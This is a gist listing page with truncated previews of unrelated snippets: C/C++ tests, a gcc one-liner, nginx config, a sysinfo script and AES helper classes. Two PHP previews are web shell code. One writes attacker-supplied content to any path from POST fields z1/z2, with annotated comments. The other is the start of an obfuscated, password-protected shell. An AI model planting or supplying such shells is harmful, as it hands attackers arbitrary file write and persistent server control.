This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <algorithm> | |
#include <iostream> | |
#include <iterator> | |
using namespace std; | |
template <typename T> | |
class range_type { | |
public: | |
class range_iterator { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <limits.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
int main(void) | |
{ | |
char c = 'c'; | |
int i; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容 | |
$c = $_POST["z2"]; // 定义$c 等于$_POST[z2]的内容 | |
$buf = ""; //定义$buf等于空 | |
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码 | |
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。 | |
echo "allok"; | |
/** | |
* example: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('iphp','demo2'); //default password is : demo, 使用方法 按p 输入密码 或者 你保存的xx.php?password=demo | |
define('T','H*'); | |
define('A','call'); | |
define('B','user'); | |
define('C','func'); | |
define('D','create'); | |
define('E','function'); | |
define('F','file'); | |
define('F1','get'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/bin/bash | |
#list predefined preprocessor symbols | |
gcc -E -dM - < /dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//ngx_headers_more | |
location / { | |
if ( $host = 'bp.biz.weibo.com' ){ | |
more_set_headers 'Server: Nginx'; | |
} | |
if ( $host = 'tui.weibo.com' ){ | |
more_set_headers 'Server: Nginx_improved'; | |
} | |
.... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
noColor="\e[0m" | |
green="\e[1;32m" | |
yellow="\e[1;33m" | |
SystemDescription=$(lsb_release -d|sed -n 's/Description:[ \t]*\([a-zA-Z]*\)/\1/p') | |
SystemMachine=$(uname -m) | |
SystemKernel=$(uname -r) | |
SystemProcessor=$(uname -p) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <string> | |
#include <type_traits> | |
int main() | |
{ | |
std::string s; | |
std::cout << std::is_same<decltype(s), std::string>::value << std::endl; | |
char s2[] = ""; | |
std::cout << std::is_same<decltype(s2), std::string>::value << std::endl; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import android.util.Base64; | |
import java.security.Key; | |
import java.security.MessageDigest; | |
import javax.crypto.Cipher; | |
import javax.crypto.spec.IvParameterSpec; | |
import javax.crypto.spec.SecretKeySpec; | |
public class MCryptAES { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class MCryptAES { | |
private $iv; | |
private $key; | |
private $bit; //Only can use 128, 256 | |
public function __construct($key, $bit = 128, $iv = "") { | |
if($bit == 256){ | |
$this->key = hash('SHA256', $key, true); | |
}else{ | |
$this->key = hash('MD5', $key, true); |
OlderNewer